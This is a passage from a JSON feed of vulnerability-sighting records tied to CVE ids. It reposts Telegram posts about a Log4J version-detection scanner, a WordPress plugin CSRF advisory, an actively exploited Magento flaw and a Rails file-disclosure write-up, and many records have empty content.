CVE-2021-44228\u00a0(CRITICAL),\u00a0CVE-2021-45046,\u00a0CVE-2021-45105, and\u00a0CVE-2021-44832. Can search for Log4J instances by carefully examining the complete file-system, including all installed applications. It is able to find Log4J instances that are hidden several layers deep. Works on Linux, Windows, and Mac, and everywhere else Java runs, too!\n\nIntroduction\n\nCurrently reports\u00a0log4j-core\u00a0versions 2.3.2, 2.12.4, and 2.17.1 as _SAFE_, 2.3.1, 2.12.2, 2.12.3, 2.15.0, 2.16.0, and 2.17.0 as _OKAY_\u00a0and all other versions as _VULNERABLE_\u00a0(although it does report pre-2.0-beta9 as _POTENTIALLY_SAFE_). It reports older\u00a0log4j-1.x\u00a0versions as _OLD_.\n\nCan correctly detect log4j inside executable spring-boot jars/wars, dependencies blended into\u00a0uber jars, shaded jars, and even exploded jar files just sitting uncompressed on the file-system (aka *.class).\n\nWe currently maintain a collection of\u00a0log4j-samples\u00a0we use for testing.\n\nExample Usage\n\njava -jar log4j-detector-2021.12.29.jar ./samples\n\n\u2014 github.com/mergebase/log4j-detector v2021.12.29 (by mergebase.com) analyzing paths (could take a while).\n\u2014 Note: specify the \u2018\u2013verbose\u2019 flag to have every file examined printed to STDERR.\nfalse-hits/log4j-core-2.12.2.jar contains Log4J-2.x == 2.12.2 OKAY\nfalse-hits/log4j-core-2.12.3.jar contains Log4J-2.x == 2.12.3 OKAY\nfalse-hits/log4j-core-2.12.4.jar contains Log4J-2.x == 2.12.4 SAFE\nfalse-hits/log4j-core-2.15.0.jar contains Log4J-2.x == 2.15.0 OKAY\nfalse-hits/log4j-core-2.16.0.jar contains Log4J-2.x == 2.16.0 OKAY\nfalse-hits/log4j-core-2.17.0.jar contains Log4J-2.x == 2.17.0 OKAY\nfalse-hits/log4j-core-2.17.1.jar contains Log4J-2.x >= 2.17.1 SAFE\nfalse-hits/log4j-core-2.3.1.jar contains Log4J-2.x == 2.3.1 OKAY\nfalse-hits/log4j-core-2.3.2.jar contains Log4J-2.x == 2.3.2 SAFE\ntrue-hits/log4j-core-2.0-beta9.jar contains Log4J-2.x >= 2.0-beta9 (< 2.10.0) VULNERABLE true-hits/log4j-core-2.10.0.jar contains Log4J-2.x >= 2.10.0 VULNERABLE\ntrue-hits/log4j-core-2.10.0.zip contains Log4J-2.x >= 2.10.0 VULNERABLE\ntrue-hits/log4j-core-2.11.0.jar contains Log4J-2.x >= 2.10.0 VULNERABLE\ntrue-hits/log4j-core-2.11.1.jar contains Log4J-2.x >= 2.10.0 VULNERABLE\ntrue-hits/log4j-core-2.11.2.jar contains Log4J-2.x >= 2.10.0 VULNERABLE\ntrue-hits/log4j-core-2.12.0.jar contains Log4J-2.x >= 2.10.0 VULNERABLE\ntrue-hits/log4j-core-2.12.1.jar contains Log4J-2.x >= 2.10.0 VULNERABLE\ntrue-hits/log4j-core-2.14.0.jar contains Log4J-2.x >= 2.10.0 VULNERABLE\ntrue-hits/log4j-core-2.14.1.jar contains Log4J-2.x >= 2.10.0 VULNERABLE\ntrue-hits/log4j-core-2.2.jar contains Log4J-2.x >= 2.0-beta9 (< 2.10.0) VULNERABLE true-hits/log4j-core-2.3.jar contains Log4J-2.x >= 2.0-beta9 (< 2.10.0) VULNERABLE true-hits/log4j-core-2.4.1.jar contains Log4J-2.x >= 2.0-beta9 (< 2.10.0) VULNERABLE true-hits/log4j-core-2.4.jar contains Log4J-2.x >= 2.0-beta9 (< 2.10.0) VULNERABLE true-hits/log4j-core-2.9.1.jar contains Log4J-2.x >= 2.0-beta9 (< 2.10.0) VULNERABLE\nold-hits/log4j-1.1.3.jar contains Log4J-1.x <=OLD\nold-hits/log4j-1.2.17.jar contains Log4J-1.x <=OLD\nold-hits/log4j-core-2.0-beta2.jar contains Log4J-2.x <=POTENTIALLY_SAFE (Did you remove JndiLookup.class?)\n\nUnderstanding The Results\n\n_VULNERABLE_\u00a0-> You need to upgrade or remove this file.\n\n_OKAY_\u00a0-> We report this for Log4J versions 2.3.1, 2.12.2, 2.12.3, 2.15.0, 2.16.0, and 2.17.0. We recommend upgrading to 2.17.1.\n\n_SAFE_\u00a0-> We currently only report this for Log4J versions 2.3.2, 2.12.4, and 2.17.1 (and greater).\n\n_OLD_\u00a0-> You are safe from CVE-2021-44228, but should plan to upgrade because Log4J 1.2.x has been EOL for 7 years and has [...]", "vulnerability": "CVE-2021-44832", "author": {"login": "automation"}}, {"uuid": "b0663614-8fcf-44cc-acd1-edfe5b587f13", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T08:00:06.691535+00:00", "type": "seen", "source": "https://t.me/hacking_Attack/42876", "content": "Kali Linux Tutorials\nLog4J-Detector : Detects Log4J versions on your file-system within any application that are vulnerable to CVE-2021-44228 and CVE-2021-45046\n\nLog4J-Detector is a Scanner that detects vulnerable Log4J versions to help teams assess their exposure to CVE-2021-44228\u00a0(CRITICAL),\u00a0CVE-2021-45046,\u00a0CVE-2021-45105, and\u00a0CVE-2021-44832. Can search for Log4J instances by carefully examining the complete file-system, including all installed applications. It is able to find Log4J instances that are hidden several layers deep. Works on Linux, Windows, and Mac, and everywhere else Java runs, too!\n\nIntroduction\n\nCurrently reports\u00a0log4j-core\u00a0versions 2.3.2, 2.12.4, and 2.17.1 as _SAFE_, 2.3.1, 2.12.2, 2.12.3, 2.15.0, 2.16.0, and 2.17.0 as _OKAY_\u00a0and all other versions as _VULNERABLE_\u00a0(although it does report pre-2.0-beta9 as _POTENTIALLY_SAFE_). It reports older\u00a0log4j-1.x\u00a0versions as _OLD_.\n\nCan correctly detect log4j inside executable spring-boot jars/wars, dependencies blended into\u00a0uber jars, shaded jars, and even exploded jar files just sitting uncompressed on the file-system (aka *.class).\n\nWe currently maintain a collection of\u00a0log4j-samples\u00a0we use for testing.\n\nExample Usage\n\njava -jar log4j-detector-2021.12.29.jar ./samples\n\n\u2014 github.com/mergebase/log4j-detector v2021.12.29 (by mergebase.com) analyzing paths (could take a while).\n\u2014 Note: specify the \u2018\u2013verbose\u2019 flag to have every file examined printed to STDERR.\nfalse-hits/log4j-core-2.12.2.jar contains Log4J-2.x == 2.12.2 OKAY\nfalse-hits/log4j-core-2.12.3.jar contains Log4J-2.x == 2.12.3 OKAY\nfalse-hits/log4j-core-2.12.4.jar contains Log4J-2.x == 2.12.4 SAFE\nfalse-hits/log4j-core-2.15.0.jar contains Log4J-2.x == 2.15.0 OKAY\nfalse-hits/log4j-core-2.16.0.jar contains Log4J-2.x == 2.16.0 OKAY\nfalse-hits/log4j-core-2.17.0.jar contains Log4J-2.x == 2.17.0 OKAY\nfalse-hits/log4j-core-2.17.1.jar contains Log4J-2.x >= 2.17.1 SAFE\nfalse-hits/log4j-core-2.3.1.jar contains Log4J-2.x == 2.3.1 OKAY\nfalse-hits/log4j-core-2.3.2.jar contains Log4J-2.x == 2.3.2 SAFE\ntrue-hits/log4j-core-2.0-beta9.jar contains Log4J-2.x >= 2.0-beta9 (< 2.10.0) VULNERABLE true-hits/log4j-core-2.10.0.jar contains Log4J-2.x >= 2.10.0 VULNERABLE\ntrue-hits/log4j-core-2.10.0.zip contains Log4J-2.x >= 2.10.0 VULNERABLE\ntrue-hits/log4j-core-2.11.0.jar contains Log4J-2.x >= 2.10.0 VULNERABLE\ntrue-hits/log4j-core-2.11.1.jar contains Log4J-2.x >= 2.10.0 VULNERABLE\ntrue-hits/log4j-core-2.11.2.jar contains Log4J-2.x >= 2.10.0 VULNERABLE\ntrue-hits/log4j-core-2.12.0.jar contains Log4J-2.x >= 2.10.0 VULNERABLE\ntrue-hits/log4j-core-2.12.1.jar contains Log4J-2.x >= 2.10.0 VULNERABLE\ntrue-hits/log4j-core-2.14.0.jar contains Log4J-2.x >= 2.10.0 VULNERABLE\ntrue-hits/log4j-core-2.14.1.jar contains Log4J-2.x >= 2.10.0 VULNERABLE\ntrue-hits/log4j-core-2.2.jar contains Log4J-2.x >= 2.0-beta9 (< 2.10.0) VULNERABLE true-hits/log4j-core-2.3.jar contains Log4J-2.x >= 2.0-beta9 (< 2.10.0) VULNERABLE true-hits/log4j-core-2.4.1.jar contains Log4J-2.x >= 2.0-beta9 (< 2.10.0) VULNERABLE true-hits/log4j-core-2.4.jar contains Log4J-2.x >= 2.0-beta9 (< 2.10.0) VULNERABLE true-hits/log4j-core-2.9.1.jar contains Log4J-2.x >= 2.0-beta9 (< 2.10.0) VULNERABLE\nold-hits/log4j-1.1.3.jar contains Log4J-1.x <=OLD\nold-hits/log4j-1.2.17.jar contains Log4J-1.x <=OLD\nold-hits/log4j-core-2.0-beta2.jar contains Log4J-2.x <=POTENTIALLY_SAFE (Did you remove JndiLookup.class?)\n\nUnderstanding The Results\n\n_VULNERABLE_\u00a0-> You need to upgrade or remove this file.\n\n_OKAY_\u00a0-> We report this for Log4J versions 2.3.1, 2.12.2, 2.12.3, 2.15.0, 2.16.0, and 2.17.0. We recommend upgrading to 2.17.1.\n\n_SAFE_\u00a0-> We currently only report this for Log4J versions 2.3.2, 2.12.4, and 2.17.1 (and greater).\n\n_OLD_\u00a0-> You are safe from CVE-2021-44228, but should plan to upgrade because Log4J 1.2.x has been EOL for 7 years and has [...]", "vulnerability": "CVE-2021-45046", "author": {"login": "automation"}}, {"uuid": "781200bb-4aa9-4206-9502-b5d63ccc2183", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T08:00:06.639582+00:00", "type": "seen", "source": "https://t.me/hacking_Attack/42876", "content": "Kali Linux Tutorials\nLog4J-Detector : Detects Log4J versions on your file-system within any application that are vulnerable to CVE-2021-44228 and CVE-2021-45046\n\nLog4J-Detector is a Scanner that detects vulnerable Log4J versions to help teams assess their exposure to CVE-2021-44228\u00a0(CRITICAL),\u00a0CVE-2021-45046,\u00a0CVE-2021-45105, and\u00a0CVE-2021-44832. Can search for Log4J instances by carefully examining the complete file-system, including all installed applications. It is able to find Log4J instances that are hidden several layers deep. Works on Linux, Windows, and Mac, and everywhere else Java runs, too!\n\nIntroduction\n\nCurrently reports\u00a0log4j-core\u00a0versions 2.3.2, 2.12.4, and 2.17.1 as _SAFE_, 2.3.1, 2.12.2, 2.12.3, 2.15.0, 2.16.0, and 2.17.0 as _OKAY_\u00a0and all other versions as _VULNERABLE_\u00a0(although it does report pre-2.0-beta9 as _POTENTIALLY_SAFE_). It reports older\u00a0log4j-1.x\u00a0versions as _OLD_.\n\nCan correctly detect log4j inside executable spring-boot jars/wars, dependencies blended into\u00a0uber jars, shaded jars, and even exploded jar files just sitting uncompressed on the file-system (aka *.class).\n\nWe currently maintain a collection of\u00a0log4j-samples\u00a0we use for testing.\n\nExample Usage\n\njava -jar log4j-detector-2021.12.29.jar ./samples\n\n\u2014 github.com/mergebase/log4j-detector v2021.12.29 (by mergebase.com) analyzing paths (could take a while).\n\u2014 Note: specify the \u2018\u2013verbose\u2019 flag to have every file examined printed to STDERR.\nfalse-hits/log4j-core-2.12.2.jar contains Log4J-2.x == 2.12.2 OKAY\nfalse-hits/log4j-core-2.12.3.jar contains Log4J-2.x == 2.12.3 OKAY\nfalse-hits/log4j-core-2.12.4.jar contains Log4J-2.x == 2.12.4 SAFE\nfalse-hits/log4j-core-2.15.0.jar contains Log4J-2.x == 2.15.0 OKAY\nfalse-hits/log4j-core-2.16.0.jar contains Log4J-2.x == 2.16.0 OKAY\nfalse-hits/log4j-core-2.17.0.jar contains Log4J-2.x == 2.17.0 OKAY\nfalse-hits/log4j-core-2.17.1.jar contains Log4J-2.x >= 2.17.1 SAFE\nfalse-hits/log4j-core-2.3.1.jar contains Log4J-2.x == 2.3.1 OKAY\nfalse-hits/log4j-core-2.3.2.jar contains Log4J-2.x == 2.3.2 SAFE\ntrue-hits/log4j-core-2.0-beta9.jar contains Log4J-2.x >= 2.0-beta9 (< 2.10.0) VULNERABLE true-hits/log4j-core-2.10.0.jar contains Log4J-2.x >= 2.10.0 VULNERABLE\ntrue-hits/log4j-core-2.10.0.zip contains Log4J-2.x >= 2.10.0 VULNERABLE\ntrue-hits/log4j-core-2.11.0.jar contains Log4J-2.x >= 2.10.0 VULNERABLE\ntrue-hits/log4j-core-2.11.1.jar contains Log4J-2.x >= 2.10.0 VULNERABLE\ntrue-hits/log4j-core-2.11.2.jar contains Log4J-2.x >= 2.10.0 VULNERABLE\ntrue-hits/log4j-core-2.12.0.jar contains Log4J-2.x >= 2.10.0 VULNERABLE\ntrue-hits/log4j-core-2.12.1.jar contains Log4J-2.x >= 2.10.0 VULNERABLE\ntrue-hits/log4j-core-2.14.0.jar contains Log4J-2.x >= 2.10.0 VULNERABLE\ntrue-hits/log4j-core-2.14.1.jar contains Log4J-2.x >= 2.10.0 VULNERABLE\ntrue-hits/log4j-core-2.2.jar contains Log4J-2.x >= 2.0-beta9 (< 2.10.0) VULNERABLE true-hits/log4j-core-2.3.jar contains Log4J-2.x >= 2.0-beta9 (< 2.10.0) VULNERABLE true-hits/log4j-core-2.4.1.jar contains Log4J-2.x >= 2.0-beta9 (< 2.10.0) VULNERABLE true-hits/log4j-core-2.4.jar contains Log4J-2.x >= 2.0-beta9 (< 2.10.0) VULNERABLE true-hits/log4j-core-2.9.1.jar contains Log4J-2.x >= 2.0-beta9 (< 2.10.0) VULNERABLE\nold-hits/log4j-1.1.3.jar contains Log4J-1.x <=OLD\nold-hits/log4j-1.2.17.jar contains Log4J-1.x <=OLD\nold-hits/log4j-core-2.0-beta2.jar contains Log4J-2.x <=POTENTIALLY_SAFE (Did you remove JndiLookup.class?)\n\nUnderstanding The Results\n\n_VULNERABLE_\u00a0-> You need to upgrade or remove this file.\n\n_OKAY_\u00a0-> We report this for Log4J versions 2.3.1, 2.12.2, 2.12.3, 2.15.0, 2.16.0, and 2.17.0. We recommend upgrading to 2.17.1.\n\n_SAFE_\u00a0-> We currently only report this for Log4J versions 2.3.2, 2.12.4, and 2.17.1 (and greater).\n\n_OLD_\u00a0-> You are safe from CVE-2021-44228, but should plan to upgrade because Log4J 1.2.x has been EOL for 7 years and has [...]", "vulnerability": "CVE-2021-44228", "author": {"login": "automation"}}, {"uuid": "181a6041-8fa4-4091-a6a9-afe8287b4c85", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T08:00:06.590120+00:00", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/42814", "content": "Exploit Collector\nWordPress International SMS For Contact Form 7 Integration 1.2 CSRF\n\nhttps://1.bp.blogspot.com/-ju6c7E-5MWk/WWlvdc1QT-I/AAAAAAAAIPk/ByEXv5vo16UsrlpTJMmF2Op4hfJEgrRpQCLcBGAs/s1600/h79.png \nWordPress International SMS for Contact Form 7 Integration plugin version 1.2 suffers from a cross site request forgery vulnerability.\n\nMD5 | 3bdeefa3f49313e66ab472b8a9a22a45\n\nDownload\n\n# Exploit Title: WordPress Plugin International Sms For Contact Form 7 Integration V1.2 - Cross-Site Request Forgery (CSRF)\n\n# Date: 2022-02-09\n\n# Author: Milad Karimi \n\n# Software Link: https://wordpress.org/plugins/cf7-international-sms-integration/\n\n# Version: 1.2\n\n# Tested on: Windows 11\n\n# CVE: CVE-2022-24272\n1. Description:\n\nThe plugin International Sms For Contact Form 7 Integration for class-sms-log-display.php and was lacking CSRF check, allowing attackers to make logged in users perform unwanted actions, such as change the calculator headers. \n\nDue to the lack of sanitisation, this could also lead to a Stored Cross-Site Scripting issue\n2. Proof of Concept:\n\nSource:packetstormsecurity.com\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "vulnerability": "CVE-2022-24272", "author": {"login": "automation"}}, {"uuid": "f4beda87-062c-48a1-9d44-0df9f8f2d017", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T08:00:06.549309+00:00", "type": "exploited", "source": "https://t.me/hacking_Attack/42868", "content": "Black Hat Ethical Hacking\nAdobe: Zero-Day Magento 2 RCE Bug Under Active Attack\n\nhttps://www.blackhatethicalhacking.com/wp-content/uploads/2021/08/Untitled-design-2-1.png Adobe: Zero-Day Magento 2 RCE Bug Under Active AttackPost Views: 166 https://www.blackhatethicalhacking.com/wp-content/uploads/2021/08/BECOME-A-PATRON-AND-UNLOCK-EXCLUSIVE-VIDEOS-1.png Reading Time: 2 Minutes\nA zero-day remote code-execution (RCE) bug in the Magento 2 and Adobe Commerce platforms has been actively exploited in the wild. \nThe security vulnerability bug (CVE-2022-24086) is a critical affair, allowing pre-authentication RCE arising from improper input validation. It scores 9.8 out of 10 on the CVSS vulnerability-severity scale, but there is one mitigating factor: An attacker would need to have administrative privileges in order to be successful.\n\nIt affects versions 2.3.7-p2 and earlier and 2.4.3-p1 and earlier of both eCommerce platforms, according to the advisory. \u00a0According to SanSec, which did a deeper dive into patching bug on Magento, the following should be taken into consideration:\n\n* If you are running Magento 2.3 or 2.4, install the custom patch from Adobe ASAP, ideally within the next few hours;\n* If you are running a version of Magento 2 between 2.3.3 and 2.3.7, you should be able to manually apply the patch, as it only concerns a few lines;\n* And, if you are running Magento 2.3.3 or below, you are not directly vulnerable. However, SanSec still recommends manually implementing the given patch.\n\nSanSec noted on Monday\u00a0that the bug came to light on Jan. 27, and that \u201cthis vulnerability has a similar severity as the Magento Shoplift vulnerability\u00a0from 2015. At that time, nearly all unpatched Magento stores globally were compromised in the days after the exploit publication.\u201d\nSee Also: Complete Offensive Security and Ethical Hacking Course\nResearchers noted on Monday that patching need not be onerous:\\\n\n \nIf you have the time, follow the instructions to patch your #magento 2 store with the guide from @avstudnitz.\n\nIf you don't have the time? Do the quick and dirty patch described here:https://t.co/nZTlQGSBmp\n\nIt will take you less than 5 minutes, but you _have_ to patch today! https://t.co/gkhT07QgbA pic.twitter.com/7NqJMV3qzb\n\n\u2014 willem wigman (@willemwigman) February 14, 2022\nSee Also: Windows vulnerability with new public exploits lets you become admin Update ASAP to Stave Off AttacksIndeed, updating is important for online merchants: The Magecart group famously targets\u00a0unpatched versions of Magento in particular, looking for a way to plant credit-card skimmers on the checkout pages of eCommerce websites.\n\nThe threat actor, which is actually a consortium of many different card-harvesting subgroups, consistently evolves its skimmers to be more effective and efficient at evasion as well. For instance, in November, it added an extra browser process\u00a0that uses the WebGL JavaScript API to check a user\u2019s machine to ensure it\u2019s not running on a virtual machine \u2013 thus evading researcher detection. And in January, an attack on Segway involved planting the skimmer by using a favicon\u00a0that traditional security systems wouldn\u2019t inspect.\n\nFor now, Adobe characterized the attacks as \u201cvery limited.\u201d But card-skimmer activity is on the rise, and updates on the part of website owners seem sparse. Last week, SanSec reported a wave of skimming\u00a0attacks targeting more than 500 sites, in particular those using outdated and unsupported Magento 1 implementations.\u00a0Further data from Source Defense\u00a0found as many as 50,000 to 100,000 sites that are using the end-of-life Magento 1. See Also: Offensive Security Tool: Stratus Red Team\n\u201cMagento and other eCommerce platforms have a long histo[...]\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "vulnerability": "CVE-2022-24086", "author": {"login": "automation"}}, {"uuid": "08f96338-a917-465d-bc34-c35935150374", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T08:00:06.508489+00:00", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/42657", "content": "Exploiting CVE-2019\u20135418- File Content Disclosure on Rails\nhttps://spoofing.medium.com/exploiting-cve-2019-5418-file-content-disclosure-on-rails-58cfa488fb51?source=rss------bug_bounty-5\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "vulnerability": "CVE-2019-5418", "author": {"login": "automation"}}, {"uuid": "8db7c535-bffe-476a-a89e-148dfaf6c06d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T08:00:06.471510+00:00", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/42659", "content": "In Action View Continue reading on Medium \u00bb (https://spoofing.medium.com/exploiting-cve-2019-5418-file-content-disclosure-on-rails-58cfa488fb51?source=rss------bug_bounty-5)\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "vulnerability": "CVE-2019-5418", "author": {"login": "automation"}}, {"uuid": "5f73d0b8-b491-4a7f-9fca-37b2b7eef706", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T08:00:06.412337+00:00", "type": "seen", "source": "Telegram/bhOKSZlKFXndCR_z7YxmYwp20mqc7IFytCbfp5TqH_aHs8A", "content": "", "vulnerability": "CVE-2025-53772", "author": {"login": "automation"}}, {"uuid": "845809b5-bb80-4170-84a9-a8a9928438ef", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T08:00:06.378276+00:00", "type": "seen", "source": "Telegram/Kn_b6ZfV_Zn3sftMYR5SsyU-8IQ4Qtei0GrxhBA123EDChM", "content": "", "vulnerability": "CVE-2026-0920", "author": {"login": "automation"}}, {"uuid": "f48e906a-3965-45c1-a0ac-d84586c2f862", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T08:00:06.338498+00:00", "type": "seen", "source": "Telegram/Kn_b6ZfV_Zn3sftMYR5SsyU-8IQ4Qtei0GrxhBA123EDChM", "content": "", "vulnerability": "CVE-2026-58138", "author": {"login": "automation"}}, {"uuid": "cf740a56-6c7a-4b5e-8e57-33640fa3ffd9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T08:00:06.296611+00:00", "type": "seen", "source": "Telegram/Kn_b6ZfV_Zn3sftMYR5SsyU-8IQ4Qtei0GrxhBA123EDChM", "content": "", "vulnerability": "CVE-2026-84645", "author": {"login": "automation"}}, {"uuid": "83e32526-ad26-46fd-8097-0fbfc856d1a0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T08:00:06.254054+00:00", "type": "seen", "source": "Telegram/Kn_b6ZfV_Zn3sftMYR5SsyU-8IQ4Qtei0GrxhBA123EDChM", "content": "", "vulnerability": "CVE-2026-52774", "author": {"login": "automation"}}, {"uuid": "5c3704a1-3fbf-4e17-ab1e-20ff58e5a60b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T08:00:06.211238+00:00", "type": "seen", "source": "Telegram/Kn_b6ZfV_Zn3sftMYR5SsyU-8IQ4Qtei0GrxhBA123EDChM", "content": "", "vulnerability": "CVE-2025-55163", "author": {"login": "automation"}}, {"uuid": "13555777-1fb2-4999-8db2-de5d5a592801", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T08:00:06.176086+00:00", "type": "seen", "source": "Telegram/szyQ0EKV_UVNdmkffaO0C1PUabx9T7Nbdd_Nvq3q85HonyM", "content": "", "vulnerability": "CVE-2023-46604", "author": {"login": "automation"}}, {"uuid": "5df4476a-78f8-468c-9406-4ceeaf020f01", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T08:00:06.124671+00:00", "type": "seen", "source": "Telegram/szyQ0EKV_UVNdmkffaO0C1PUabx9T7Nbdd_Nvq3q85HonyM", "content": "", "vulnerability": "CVE-2024-20666", "author": {"login": "automation"}}, {"uuid": "0a5cffd9-464e-4953-aad3-52a6f0391067", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T08:00:06.083020+00:00", "type": "seen", "source": "Telegram/szyQ0EKV_UVNdmkffaO0C1PUabx9T7Nbdd_Nvq3q85HonyM", "content": "", "vulnerability": "CVE-2019-0708", "author": {"login": "automation"}}, {"uuid": "780e2968-3ab6-47ce-a6ca-f3551af38321", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T08:00:06.035627+00:00", "type": "seen", "source": "Telegram/szyQ0EKV_UVNdmkffaO0C1PUabx9T7Nbdd_Nvq3q85HonyM", "content": "", "vulnerability": "CVE-2024-53704", "author": {"login": "automation"}}, {"uuid": "572964af-420f-4d6c-ba63-3629e3867762", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T08:00:05.996174+00:00", "type": "seen", "source": "Telegram/bhOKSZlKFXndCR_z7YxmYwp20mqc7IFytCbfp5TqH_aHs8A", "content": "", "vulnerability": "CVE-2025-50154", "author": {"login": "automation"}}, {"uuid": "3ae622f6-ee89-4aba-a600-f1468441a0c2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T08:00:05.943736+00:00", "type": "seen", "source": "Telegram/szyQ0EKV_UVNdmkffaO0C1PUabx9T7Nbdd_Nvq3q85HonyM", "content": "", "vulnerability": "CVE-2023-49544", "author": {"login": "automation"}}, {"uuid": "bca829c6-07ff-48a2-b014-d6affe5e7276", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T08:00:05.888098+00:00", "type": "seen", "source": "Telegram/szyQ0EKV_UVNdmkffaO0C1PUabx9T7Nbdd_Nvq3q85HonyM", "content": "", "vulnerability": "CVE-2022-44721", "author": {"login": "automation"}}, {"uuid": "d239a3ff-c9af-4e2f-8de0-82fad1358a74", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T08:00:05.839970+00:00", "type": "seen", "source": "Telegram/szyQ0EKV_UVNdmkffaO0C1PUabx9T7Nbdd_Nvq3q85HonyM", "content": "", "vulnerability": "CVE-2024-33438", "author": {"login": "automation"}}, {"uuid": "93404989-cbcc-40ac-bb94-c4b57e1e9cfb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T08:00:05.797294+00:00", "type": "seen", "source": "Telegram/szyQ0EKV_UVNdmkffaO0C1PUabx9T7Nbdd_Nvq3q85HonyM", "content": "", "vulnerability": "CVE-2018-6574", "author": {"login": "automation"}}, {"uuid": "51b6383f-37c8-4642-bb34-ba5a0f8c2566", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T08:00:05.749765+00:00", "type": "seen", "source": "Telegram/szyQ0EKV_UVNdmkffaO0C1PUabx9T7Nbdd_Nvq3q85HonyM", "content": "", "vulnerability": "CVE-2023-6063", "author": {"login": "automation"}}, {"uuid": "d7a81fe7-c272-44d5-b2b9-4bdf5b40851b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T08:00:05.703725+00:00", "type": "seen", "source": "Telegram/szyQ0EKV_UVNdmkffaO0C1PUabx9T7Nbdd_Nvq3q85HonyM", "content": "", "vulnerability": "CVE-2023-33405", "author": {"login": "automation"}}, {"uuid": "201da030-eb36-4f9f-aeb6-9aa9e2d25192", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T08:00:05.656754+00:00", "type": "seen", "source": "Telegram/szyQ0EKV_UVNdmkffaO0C1PUabx9T7Nbdd_Nvq3q85HonyM", "content": "", "vulnerability": "CVE-2023-4911", "author": {"login": "automation"}}, {"uuid": "5cd7c272-5e17-4646-8b43-87bc344d09ef", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T08:00:05.611393+00:00", "type": "seen", "source": "Telegram/szyQ0EKV_UVNdmkffaO0C1PUabx9T7Nbdd_Nvq3q85HonyM", "content": "", "vulnerability": "CVE-2024-32002", "author": {"login": "automation"}}, {"uuid": "a6361aeb-ce13-41d0-bc77-33f01a2cdf4f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T08:00:05.564563+00:00", "type": "seen", "source": "Telegram/szyQ0EKV_UVNdmkffaO0C1PUabx9T7Nbdd_Nvq3q85HonyM", "content": "", "vulnerability": "CVE-2025-54068", "author": {"login": "automation"}}, {"uuid": "d0d86a29-116c-4ac7-9f03-10b1581c957e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T08:00:05.517658+00:00", "type": "seen", "source": "Telegram/szyQ0EKV_UVNdmkffaO0C1PUabx9T7Nbdd_Nvq3q85HonyM", "content": "", "vulnerability": "CVE-2021-22005", "author": {"login": "automation"}}, {"uuid": "6bd5adbe-2064-4730-aa8b-530e59f86bd3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T08:00:05.467247+00:00", "type": "seen", "source": "Telegram/szyQ0EKV_UVNdmkffaO0C1PUabx9T7Nbdd_Nvq3q85HonyM", "content": "", "vulnerability": "CVE-2023-27372", "author": {"login": "automation"}}, {"uuid": "f5338feb-fcd2-4db5-8a80-5bad0f1113f8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T08:00:05.422820+00:00", "type": "seen", "source": "Telegram/Paai8v2i2Qd7G7nDplu7cFbsNhfwUMGp9ainn2A0yNNLhsA", "content": "", "vulnerability": "CVE-2019-0708", "author": {"login": "automation"}}, {"uuid": "28e9a0d7-8381-4c23-8e22-04ec1f879b02", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T08:00:05.384216+00:00", "type": 